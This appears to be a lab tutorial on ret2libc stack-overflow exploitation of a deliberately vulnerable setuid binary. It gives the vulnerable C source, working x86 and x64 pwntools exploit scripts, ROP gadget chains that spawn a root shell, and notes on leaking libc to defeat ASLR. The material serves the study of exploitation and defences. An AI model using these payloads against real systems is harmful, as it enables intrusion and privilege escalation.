ret2libc Attack (x86)
Overview
This attack avoids placing shellcode on the stack (useful when NX/DEP is enabled) by returning into libc and invoking
system("/bin/sh")
. Control is gained via a stack buffer overflow inreceive_feedback()
; the exploit overwrites the saved return address (EIP) with the address ofsystem
in libc and places the string pointer"/bin/sh"
as its argument on the stack.
Target Summary and Vulnerability
#include <stdio.h>
int secret_function() {
asm("jmp %esp");
}
void receive_feedback()
{
char buffer[64];
puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
gets(buffer);
}
int main()
{
setuid(0);
setgid(0);
receive_feedback();
return 0;
}
- Vulnerability:
gets
writes past the 64-byte buffer → stack buffer overflow. - Privilege context:
setuid(0); setgid(0);
before input; a spawned shell inherits elevated privileges. - Note: The program contains a
secret_function()
withjmp %esp
, but ret2libc does not need it. We reuse libc code instead of executing stack-resident code.
High-level Plan
- Find the EIP offset (here:
padding = 76
). - Resolve libc addresses:
libc_base
,system
, and the string"/bin/sh"
inside libc. - Craft a stack frame such that
RET → system
,retaddr → (exit/0)
, andarg0 → &"/bin/sh"
. - Trigger the overflow; execution returns into
system("/bin/sh")
.
Exploit Walkthrough
1) Environment and Launcher
exe = './secureserver'
elf = context.binary = ELF(exe, checksec=False)
io = start()
context.log_level = 'debug'
- Standard pwntools setup;
start()
toggles local/GDB/remote execution.
2) Libc Layout (static Values with ASLR disabled)
libc_base = 0xf7dba000 # determined manually for this environment
system = libc_base + 0x45040 # offset of system within libc
binsh = libc_base + 0x18c338# address of "/bin/sh" string within libc
- These addresses assume ASLR is OFF and you’re using the exact libc that matches these offsets.
- In real/remote scenarios (ASLR ON), you must leak a libc address at runtime (e.g.,
puts@plt
leak of a GOT entry) and computelibc_base
dynamically.
3) Control Offset
padding = 76
- Bytes to reach and overwrite the saved EIP. Typically obtained via
cyclic()/cyclic_find()
or debugging in GDB.
4) Payload Layout (cdecl, x86)
payload = flat(
asm('nop') * padding, # filler up to saved EIP
system, # saved EIP → system()
0x0, # fake return address (could be exit in libc)
binsh # arg0 to system(): pointer to "/bin/sh"
)
-
cdecl (x86) passes arguments on the stack:
[ offset .. ] [ EIP = &system ] [ retaddr (exit/0) ] [ arg0 = &"/bin/sh" ] ^ on RET from system, execution would go here
-
Using a real
exit
address (e.g.,libc_base + exit_offset
) instead of0x0
is cleaner; it avoids crashing aftersystem
returns.
5) Delivery
write('payload', payload) # artifact for inspection/replay
io.sendlineafter(b':', payload)
io.interactive() # interact with the spawned shell
How to Obtain the Libc symbols/offsets
- With ASLR OFF (local):
- Identify the libc in use (e.g.,
ldd ./secureserver
), then:readelf -s libc.so.6 | grep ' system@'
→ symbol index (not address at runtime).objdump -T libc.so.6 | grep ' system$'
→ offset ofsystem
in libc.strings -a -tx libc.so.6 | grep '/bin/sh'
→ offset of"/bin/sh"
.
- Compute
system = libc_base + system_offset
,binsh = libc_base + binsh_offset
. libc_base
can be taken fromvmmap
/info proc mappings
in GDB when ASLR is disabled.
- Identify the libc in use (e.g.,
- With ASLR ON (realistic/remote):
- Leak a libc address using a format string or a PLT+GOT read (e.g.,
puts@plt(puts@got)
). - Compute
libc_base = leaked_puts - puts_offset
. - Derive
system = libc_base + system_offset
,binsh = libc_base + binsh_offset
. - Build and send the ret2libc payload.
- Leak a libc address using a format string or a PLT+GOT read (e.g.,
Mitigations and Assumptions
- NX/DEP: ret2libc is effective even if NX is ON, since it executes code in libc (RX) rather than on the stack.
- PIE: If PIE is ON, program text addresses are randomized; ret2libc still works since we pivot into libc, but you still need a leak to compute
libc_base
(unless ASLR is off). - Canary: If a stack canary is present, it must be bypassed or leaked before overwriting saved EIP.
- ASLR: The example uses fixed addresses (ASLR OFF). For portability, implement the leak → compute → call stage.
Debugging Tips
- In GDB:
checksec
(pwndbg) to see NX/PIE/canary/RELRO.b *system
andx/s binsh
to confirm resolves.- After sending the payload, observe the stack at
esp
to verify:- top →
retaddr
(exit/0) - next →
&"/bin/sh"
- top →
Key Takeaways
- Code-reuse over shellcode: ret2libc executes existing libc functions, bypassing NX.
- Argument control via stack (x86): place
"/bin/sh"
pointer after the return address tosystem
. - Reliance on correct libc resolution: with ASLR OFF you can hardcode; with ASLR ON you must leak and compute.
- Clean return path: use
exit
as the return address fromsystem
for stability.
Ret2libc Attack (x64)
Troubleshooting stack misalignment: 1.17 - x64 ROP Stack Alignment Fix
Overview
Exploit a stack overflow in a 64-bit binary to call
system("/bin/sh")
without injecting shellcode (works with NX enabled). On SysV AMD64, the first argument must be in RDI, so we build a tiny ROP chain that sets RDI = &“/bin/sh” and then transfers control to system. We also fix stack alignment to avoid SIMD crashes inside glibc.
Preconditions (this setup)
- NX: Enabled (fine for ret2libc).
- PIE: Disabled (No PIE), so main binary gadgets (e.g.,
pop rdi ; ret
) are at fixed addresses. - ASLR: Disabled; libc base is constant for the current run (hardcoded).
- Canary: Not present.
Key Calling-convention Points (x64)
- SysV AMD64 passes the first argument in RDI (not on the stack).
- Many glibc functions (including
system
) assume the stack is 16-byte aligned at call sites.
Exploit Steps (what Each part of the Script does)
-
Context & target
exe = './secureserver' elf = context.binary = ELF(exe, checksec=False) p = process(exe)
Loads the binary for symbol/gadget resolution and launches the process.
-
Offset to saved RIP
padding = asm('nop') * 72
72 bytes reaches the saved RIP (determined previously via
cyclic
/cyclic_find
or debugging). -
Gadgets from the main binary
rop = ROP(elf) ret = rop.find_gadget(['ret']).address # 1-instruction, fixes alignment pop_rdi = rop.find_gadget(['pop rdi']).address # loads arg0 into RDI
pop rdi ; ret
sets up RDI with our argument.- The single
ret
before that flips stack parity to meet 16-byte alignment expectations inside glibc.
-
libc symbols and data (ASLR off)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = 0x00007ffff7da8000 # fixed base (ASLR off) system = libc.symbols.system binsh = next(libc.search(b'/bin/sh\x00'))
- Resolves
system
and the"/bin/sh"
string pointer using the known libc base.
- Resolves
-
ROP chain layout
payload = flat( padding, # overflow to saved RIP ret, # alignment fix (important on x64) pop_rdi, # set RDI binsh, # RDI = &"/bin/sh" system, # call system(RDI) )
Execution flow:
- Overwrite RIP →
ret
(align stack) pop rdi ; ret
→ RDI =&"/bin/sh"
- RIP =
system
→ spawns a shell
Optional: append
libc.sym['exit']
aftersystem
for a clean return when the shell exits. - Overwrite RIP →
-
Send payload and interact
write('payload', payload) p.sendlineafter(b':', payload) # if the target doesn’t print “:”, use p.sendline(payload) p.interactive()
Stack Alignment Note (why the Extra ret
)
- Glibc often emits
movaps
insystem
/do_system
, which requires 16-byte stack alignment. - Pure ROP via
ret
commonly leaves%rsp
misaligned by 8 bytes → crash atmovaps
. - A single
ret
gadget before the first argument gadget fixes the parity.
Rule of thumb: In x64 ret2libc chains, add one ret
before pop rdi ; ret
unless you’ve verified alignment in GDB.
Quick Validation Checklist
checksec
shows NX enabled, PIE disabled.- Offsets: 72 bytes to saved RIP.
- Gadgets:
pop rdi ; ret
resolves in the main binary;ret
gadget available. - libc: base,
system
, and"/bin/sh"
all point into the same libc used by the process. - If you see
movaps … not aligned to 16 bytes
in a crash, insert (or keep) the singleret
beforepop rdi ; ret
.
Minimal ret2libc (x64) Pattern
payload = flat(
b'A'*72,
ret, # align
pop_rdi,
binsh,
system,
# libc.sym['exit'] # optional
)
This constitutes the standard, reliable x64 ret2libc chain when NX is on, PIE is off, and libc base is known.
Resources
Link | Description |
---|---|
1.17 - x64 ROP Stack Alignment Fix | Troubleshooting stack misalignment |